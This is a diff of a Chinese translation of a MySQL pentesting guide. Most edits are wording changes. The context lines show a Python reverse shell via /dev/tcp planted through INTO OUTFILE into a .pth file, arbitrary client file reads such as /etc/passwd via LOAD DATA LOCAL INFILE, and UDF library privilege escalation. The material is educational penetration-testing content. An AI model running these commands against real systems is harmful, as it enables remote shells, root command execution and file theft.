Translated ['src/network-services-pentesting/pentesting-mysql.md'] to zh

src/network-services-pentesting/pentesting-mysql.md

@@ -1,10 +1,5 @@
 # 3306 - Pentesting Mysql
 
-{{#include /banners/hacktricks-training.md}}
-
-## References
-- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
-
 {{#include ../banners/hacktricks-training.md}}
 
 ## **基本信息**
@@ -132,9 +127,9 @@ import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10
 ```
 重要的限制和绕过：
 
-* `INTO OUTFILE` **无法覆盖** 已存在的文件；选择一个新文件名。
+* `INTO OUTFILE` **不能覆盖** 已存在的文件；选择一个新文件名。
 * 文件路径是 **相对于 MySQL 的当前工作目录** 解析的，因此在前面加上 `../../` 有助于缩短路径并绕过绝对路径限制。
-* 如果攻击者输入使用 `%128s`（或类似）提取，任何空格都会截断有效负载；使用 MySQL 注释序列 `/**/` 或 `/*!*/` 来替换空格。
+* 如果攻击者输入通过 `%128s`（或类似方式）提取，任何空格都会截断有效负载；使用 MySQL 注释序列 `/**/` 或 `/*!*/` 来替换空格。
 * 运行查询的 MySQL 用户需要 `FILE` 权限，但在许多设备（例如 FortiWeb）中，服务以 **root** 身份运行，几乎在任何地方都可以写入。
 
 在删除 `.pth` 后，只需请求任何由 Python 解释器处理的 CGI 以获取代码执行：
@@ -153,12 +148,12 @@ uid=0(root) gid=0(root) groups=0(root)
 
 ## MySQL 任意读取客户端文件
 
-实际上，当你尝试 **load data local into a table** 文件的 **内容** 时，MySQL 或 MariaDB 服务器会要求 **客户端读取它** 并发送内容。 **然后，如果你可以篡改一个 mysql 客户端以连接到你自己的 MySQL 服务器，你就可以读取任意文件。**\
-请注意，这是使用以下方式的行为：
+实际上，当你尝试 **load data local into a table** 文件的 **内容** 时，MySQL 或 MariaDB 服务器会要求 **客户端读取** 并发送内容。**然后，如果你可以篡改一个 mysql 客户端以连接到你自己的 MySQL 服务器，你就可以读取任意文件。**\
+请注意，这是使用的行为：
 ```bash
 load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
 ```
-(注意“local”这个词)\
+（注意“local”这个词）\
 因为没有“local”，你可能会得到：
 ```bash
 mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@@ -190,7 +185,7 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
 - **`password`** 用于建立与 MySQL 用户相关联的密码。
 - **`admin_address`** 指定在管理网络接口上监听 TCP/IP 连接的 IP 地址。
 - **`debug`** 变量指示当前的调试配置，包括日志中的敏感信息。
-- **`sql_warnings`** 管理在出现警告时是否为单行 INSERT 语句生成信息字符串，这些字符串包含日志中的敏感数据。
+- **`sql_warnings`** 管理在出现警告时是否为单行 INSERT 语句生成信息字符串，日志中包含敏感数据。
 - 使用 **`secure_file_priv`**，数据导入和导出操作的范围受到限制，以增强安全性。
 
 ### 权限提升
@@ -213,7 +208,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
 ```
 ### 特权提升通过库
 
-如果 **mysql 服务器以 root 身份运行**（或其他更高权限的用户），您可以使其执行命令。为此，您需要使用 **用户定义函数**。要创建用户定义函数，您需要一个运行 mysql 的操作系统的 **库**。
+如果 **mysql 服务器以 root 身份运行**（或其他更高权限的用户），您可以使其执行命令。为此，您需要使用 **用户定义函数**。要创建用户定义函数，您需要一个 **库**，该库用于运行 mysql 的操作系统。
 
 可以在 sqlmap 和 metasploit 中找到要使用的恶意库，通过执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** 库，**`.dll`** 是 **Windows** 库，选择您需要的。